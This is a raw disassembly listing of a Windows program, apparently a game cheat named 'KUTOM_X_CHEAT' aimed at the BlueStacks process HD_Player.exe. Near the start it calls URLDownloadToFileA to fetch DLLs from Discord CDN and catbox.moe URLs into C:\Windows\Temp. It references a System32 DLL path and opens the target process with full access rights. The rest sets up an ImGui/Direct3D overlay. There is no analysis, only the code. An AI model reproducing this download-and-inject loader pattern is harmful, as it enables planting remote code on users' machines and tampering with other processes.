lea r8, [rbp + 0x8b8]
xor ecx, ecx
lea rdx, [rbp + 0xfc0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0xed0]
movaps xmm1, xmmword [0x1401741a0]
lea rdx, [rbp + 0xd20]
mov eax, dword [0x1401741e8]
xor r9d, r9d
movaps xmmword [rbp + 0xd20], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401741b0]
movaps xmmword [rbp + 0xd40], xmm0
movaps xmm0, xmmword [0x1401741d0]
movaps xmmword [rbp + 0xd60], xmm0
movsd xmm0, qword [0x1401741e0]
movaps xmmword [rbp + 0xd30], xmm1
movaps xmm1, xmmword [0x1401741c0]
mov dword [rbp + 0xd78], eax
movzx eax, word [0x1401741ec]
movsd qword [rbp + 0xd70], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0xd7c], ax
movzx eax, byte [0x1401741ee]
movaps xmmword [rbp + 0xd50], xmm1
movups xmm1, xmmword [0x1401736a8]
mov byte [rbp + 0xd7e], al
movups xmmword [rbp + 0xed0], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0xee0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_nsq4a8.dll]
mov eax, dword [0x140174210]
lea r8, [rbp + 0x8d8]
movups xmm1, xmmword [0x140174200]
mov dword [rbp + 0xd18], eax
xor r9d, r9d
movzx eax, word [0x140174230]
lea rdx, [rbp + 0xcf8]
movups xmmword [rbp + 0xcf8], xmm0
mov word [rbp + 0x8f0], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_nsq4a8.dll]
movzx eax, byte [0x140174232]
movups xmmword [rbp + 0xd08], xmm1
mov byte [rbp + 0x8f2], al
movups xmmword [rbp + 0x8d8], xmm0
mov qword [rsp + 0x20], r12
movsd xmm0, qword [0x140174228]
movsd qword [rbp + 0x8e8], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32chams.dll
mov edx, 0x104
lea rcx, [rbp + 0x26e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140058620]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400563f0
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140055ab0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140055bf0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
call fcn.1401317c0
lea rcx, [0x1400551d0]
mov qword [rax], rcx
lea r8, [0x1400668b0]
lea rcx, [rbp + 0x5b8]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x5b0], rax
test rax, rax
je 0x14006513c
mov qword [rsp + 0x2990], r15
mov r15d, 1
mov qword [rsp + 0x29c0], rsi
mov qword [rsp + 0x29c8], rdi
mov qword [rsp + 0x29d0], r13
mov qword [rsp + 0x2998], r14
movaps xmmword [rsp + 0x2980], xmm6
movaps xmmword [rsp + 0x2970], xmm7
movaps xmmword [rsp + 0x2960], xmm8
movaps xmmword [rsp + 0x2950], xmm9
movaps xmmword [rsp + 0x2940], xmm10
movaps xmmword [rsp + 0x2930], xmm11
movaps xmmword [rsp + 0x2920], xmm12
movaps xmmword [rsp + 0x2910], xmm13
movaps xmmword [rsp + 0x2900], xmm14
movaps xmmword [rsp + 0x28f0], xmm15
cmp dword [rbp + 0x5b8], r12d
je 0x140065132
movaps xmm0, xmmword [rbp + 0x5b0]
lea rcx, [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140065132
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x5b0], xmm0
call fcn.140055230
lea rcx, [0x14022d660]
call fcn.1400db280
mov ebx, dword [0x14020c3e8]
test ebx, ebx
jne 0x14005dd44
cmp qword [0x14020c438], r12
jne 0x14005dcb8
mov ecx, reloc.WS2_32.dll_recv
call fcn.1401317c0
mov qword [0x14020c438], rax
mov dword [rax + 8], r12d
xor edx, edx
mov ecx, 2
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x1150]
mov dword [rbp + 0x1150], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x1150]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005dd3e
nop dword [rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x117c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14005dd2a
mov eax, dword [rbp + 0x116c]
cmp eax, edi
jle 0x14005dd2a
mov ebx, dword [rbp + 0x1158]
mov edi, eax
lea rdx, [rbp + 0x1150]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14005dd00
mov dword [0x14020c3e8], ebx
mov rdi, qword [0x14020c438]
test rdi, rdi
jne 0x14005dd6e
mov ecx, reloc.WS2_32.dll_recv
call fcn.1401317c0
mov ebx, dword [0x14020c3e8]
mov rdi, rax
mov qword [0x14020c438], rax
mov dword [rax + 8], r12d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x14005ddf1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x1280]
mov dword [rbp + 0x1280], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x1280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005ddee
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x12ac]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0x1288]
lea rdx, [rbp + 0x1280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14005ddc0
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r12d
je 0x14005de0a
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rcx, [0x14022d660]
call fcn.1400db280
cmp byte [0x14022d878], r12b
jne 0x14005de50
lea rcx, [0x14022d880]
call fcn.140044850
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x1400651e0]
mov dword [rbp + 0x7b0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x7b8], rax
xor ecx, ecx
mov dword [rbp + 0x7b4], 0x40
mov qword [rbp + 0x7c0], r12
mov qword [rbp + 0x7c8], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x7d0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, str.KUTOM_X_CHEAT
mov qword [rbp + 0x7e0], r12
mov edx, 0x7f00
mov qword [rbp + 0x7d8], rax
xor ecx, ecx
mov qword [rbp + 0x7e8], rdi
mov qword [rbp + 0x7f0], rdi
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x7b0]
mov qword [rbp + 0x7f8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x7f0]
mov r8, rdi
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov qword [0x14020c3c0], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r15b, al
je 0x14005df6f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x1401756e0]
lea rdx, [rbp + 0xaa0]
mov rcx, qword [0x14020c3c0]
movdqu xmmword [rbp + 0xaa0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14020c3c0]
lea rdx, [0x14020c3d8]
xorps xmm0, xmm0
movups xmmword [0x14020c3d8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x14020c3c0]
lea rbx, [0x1402421a8]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1402421a0]
mov qword [rbp + 0x770], rax
lea rsi, [0x140242198]
lea rax, [rbp + 0x120]
mov qword [rbp + 0x754], r12
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x740]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r15d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x138]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x768], 2
mov qword [rbp + 0x780], 2
mov qword [rbp + 0x740], r12
mov dword [rbp + 0x750], Ordinal_32
mov dword [rbp + 0x748], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x74c], r15d
mov dword [rbp + 0x764], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x75c], r15
mov qword [rbp + 0x778], r15
mov dword [rbp + 0x138], 0xb000
mov dword [rbp + 0x13c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x14005e0f0
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x120]
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x740]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, 5
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x138]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x14005e1a0
call fcn.140065160
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
movaps xmm14, xmmword [rsp + 0x2900]
movaps xmm13, xmmword [rsp + 0x2910]
movaps xmm12, xmmword [rsp + 0x2920]
movaps xmm11, xmmword [rsp + 0x2930]
movaps xmm10, xmmword [rsp + 0x2940]
movaps xmm9, xmmword [rsp + 0x2950]
movaps xmm8, xmmword [rsp + 0x2960]
movaps xmm7, xmmword [rsp + 0x2970]
movaps xmm6, xmmword [rsp + 0x2980]
mov rsi, qword [rsp + 0x29c0]
mov r14, qword [rsp + 0x2998]
mov r13, qword [rsp + 0x29d0]
mov rdi, qword [rsp + 0x29c8]
movaps xmm15, xmmword [rsp + 0x28f0]
mov r15, qword [rsp + 0x2990]
add rsp, 0x29a0
pop r12
pop rbx
pop rbp
ret
mov rcx, qword [0x140242198]
lea r9, [rbp + 0x448]
lea r8, [0x1401720c8]
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [0x1402421a0]
lea r9, [0x140242190]
mov rdx, qword [rbp + 0x448]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x448]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14020c3c0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14020c3c0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x14020c330]
test rbx, rbx
je 0x14005e232
inc dword [rbx + 0xf4]
mov rdx, qword [0x14020c320]
mov ecx, 0x5e70
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14005e254
xor edx, edx
mov rcx, rax
call fcn.140001f90
jmp 0x14005e257
mov rax, r12
mov qword [0x14020c330], rax
call fcn.140006850
test rbx, rbx
je 0x14005e271
mov qword [0x14020c330], rbx
jmp 0x14005e278
mov rbx, qword [0x14020c330]
test rbx, rbx
jne 0x14005e29e
mov r8d, 0x1033
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14020c330]
or dword [rbx + 8], 3
xorps xmm1, xmm1
movss xmm12, dword [0x1401754c0]
xor eax, eax
movups xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0x110], rax
mov eax, 0xffff
movups xmmword [rbp + 0xd0], xmm1
mov dword [rbp + 0xa8], 3
movups xmmword [rbp + 0xe0], xmm1
mov word [rbp + 0xe4], ax
movups xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x9c], r15b
movaps xmmword [rbp + 0xb0], xmm1
xorps xmm3, xmm3
movaps xmmword [rbp + 0xc0], xmm3
xorps xmm4, xmm4
movaps xmmword [rbp + 0xf0], xmm4
xorps xmm5, xmm5
movaps xmmword [rbp + 0x100], xmm5
mov dword [rbp + 0xac], r15d
mov dword [rbp + 0xd4], 0x7f7fffff
mov dword [rbp + 0xe0], 0x3f800000
mov dword [rbp + 0xdc], 0x10c
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r12b
je 0x14005e37a
mov r8d, 0xb89
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm5, xmmword [rbp + 0x100]
movaps xmm4, xmmword [rbp + 0xf0]
movaps xmm3, xmmword [rbp + 0xc0]
movaps xmm1, xmmword [rbp + 0xb0]
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp - 0x10], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [rbp + 0x110]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [rbp + 0xe0]
movsd qword [rbp + 0x60], xmm0
movaps xmmword [rbp - 0x20], xmm2
movaps xmmword [rbp + 0x10], xmm3
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x40], xmm4
movaps xmmword [rbp + 0x50], xmm5
test rax, rax
je 0x14005e3e7
mov r8d, 0xb8b
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x14018e110]
mov dword [rbp - 0x18], 0x26368
lea rsi, [0x14016d040]
mov qword [rbp - 0x20], r14
lea rdx, [rbp - 0x20]
mov qword [rbp + 0x18], rsi
mov rcx, rdi
mov dword [rbp - 0xc], 0x41880000
call fcn.14002a200
mov rdi, qword [rbx + 0x58]
mov qword [0x14020c3b0], rax
cmp byte [rdi + 0x18], r12b
je 0x14005e442
mov r8d, 0xb89
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp - 0x10], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x40], xmm1
movsd xmm1, qword [rbp + 0x110]
movaps xmmword [rbp + 0x50], xmm0
movsd qword [rbp + 0x60], xmm1
movaps xmmword [rbp - 0x20], xmm2
test rax, rax
je 0x14005e4cb
mov r8d, 0xb8b
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], r14
mov rcx, rdi
mov dword [rbp - 0x18], 0x26368
mov dword [rbp - 0xc], 0x41700000
mov qword [rbp + 0x18], rsi
call fcn.14002a200
mov rdi, qword [rbx + 0x58]
mov qword [0x14020c428], rax
cmp byte [rdi + 0x18], r12b
je 0x14005e518
mov r8d, 0xb89
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp - 0x10], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x40], xmm1
movsd xmm1, qword [rbp + 0x110]
movaps xmmword [rbp + 0x50], xmm0
movsd qword [rbp + 0x60], xmm1
movaps xmmword [rbp - 0x20], xmm2
test rax, rax
je 0x14005e5a1
mov r8d, 0xb8b
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401e7290]
mov dword [rbp - 0x18], 0xf40
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], rax
mov rcx, rdi
mov dword [rbp - 0xc], 0x41c00000
mov qword [rbp + 0x18], rsi
call fcn.14002a200
mov rdi, qword [rbx + 0x58]
mov qword [0x14020c430], rax
cmp byte [rdi + 0x18], r12b
je 0x14005e5f5
mov r8d, 0xb89
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp - 0x10], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x40], xmm1
movsd xmm1, qword [rbp + 0x110]
movaps xmmword [rbp + 0x50], xmm0
movsd qword [rbp + 0x60], xmm1
movaps xmmword [rbp - 0x20], xmm2
test rax, rax
je 0x14005e67e
mov r8d, 0xb8b
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x1401c1930]
mov dword [rbp - 0x18], 0x25958
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], r14
mov rcx, rdi
mov dword [rbp - 0xc], 0x41880000
mov qword [rbp + 0x18], rsi
call fcn.14002a200
mov rdi, qword [rbx + 0x58]
mov qword [0x14020c420], rax
cmp byte [rdi + 0x18], r12b
je 0x14005e6d2
mov r8d, 0xb89
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp - 0x10], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x40], xmm1
movsd xmm1, qword [rbp + 0x110]
movaps xmmword [rbp + 0x50], xmm0
movsd qword [rbp + 0x60], xmm1
movaps xmmword [rbp - 0x20], xmm2
test rax, rax
je 0x14005e75b
mov r8d, 0xb8b
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], r14
mov rcx, rdi
mov dword [rbp - 0x18], 0x25958
mov dword [rbp - 0xc], 0x41e00000
mov qword [rbp + 0x18], rsi
call fcn.14002a200
mov rdi, qword [rbx + 0x58]
mov qword [0x14020c3a8], rax
cmp byte [rdi + 0x18], r12b
je 0x14005e7a8
mov r8d, 0xb89
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp - 0x10], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x40], xmm1
movsd xmm1, qword [rbp + 0x110]
movaps xmmword [rbp + 0x50], xmm0
movsd qword [rbp + 0x60], xmm1
movaps xmmword [rbp - 0x20], xmm2
test rax, rax
je 0x14005e831
mov r8d, 0xb8b
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401e81d0]
mov dword [rbp - 0x18], 0x954
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], rax
mov rcx, rdi
mov dword [rbp - 0xc], 0x41a00000
mov qword [rbp + 0x18], rsi
call fcn.14002a200
movss xmm3, dword [0x1401755a0]
lea rdx, [0x1401e8b30]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x20fe0
mov qword [rsp + 0x28], rsi
mov qword [0x14020c418], rax
mov qword [rsp + 0x20], r12
call fcn.14002a550
cmp qword [0x14020c380], r12
mov qword [rbp + 0x150], rax
jne 0x14005e8d7
mov rcx, qword [0x14020c3f0]
lea rax, [0x14020c380]
mov qword [rsp + 0x30], r12
lea r9, [0x14020afa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b8640]
mov qword [rsp + 0x20], rcx
mov r8d, 0x5277
mov rcx, qword [0x1402421a0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14020c378], r12
jne 0x14005e91e
mov rcx, qword [0x1402421a0]
lea rax, [0x14020c378]
mov qword [rsp + 0x30], r12
lea r9, [0x14020afa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b4480]
mov rax, qword [0x14020c3f0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14020c398], r12
jne 0x14005e965
mov rcx, qword [0x1402421a0]
lea rax, [0x14020c398]
mov qword [rsp + 0x30], r12
lea r9, [0x14020afa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401bd8c0]
mov rax, qword [0x14020c3f0]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14020c388], r12
jne 0x14005e9ac
mov rcx, qword [0x1402421a0]
lea rax, [0x14020c388]
mov qword [rsp + 0x30], r12
lea r9, [0x14020afa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b8410]
mov rax, qword [0x14020c3f0]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14020c390], r12
jne 0x14005e9f3
mov rcx, qword [0x1402421a0]
lea rax, [0x14020c390]
mov qword [rsp + 0x30], r12
lea r9, [0x14020afa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401bd9a0]
mov rax, qword [0x14020c3f0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x14020c3c0]
call fcn.140047040
mov rax, qword [0x14020c330]
mov r14, qword [0x1402421a8]
mov rsi, qword [0x1402421a0]
test rax, rax
jne 0x14005ea3a
mov r8d, 0x1033
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rarimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14020c330]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r12
je 0x14005ea68
mov r8d, 0x221
lea rdx, str.E:CCTepQuanTrongKUTOM_MAInKUTOM_MAInimgui_1_1.rar_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14020c330]
test rax, rax
je 0x14005ea73
inc dword [rax + 0xf4]
mov rdx, qword [0x14020c320]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14005eaba
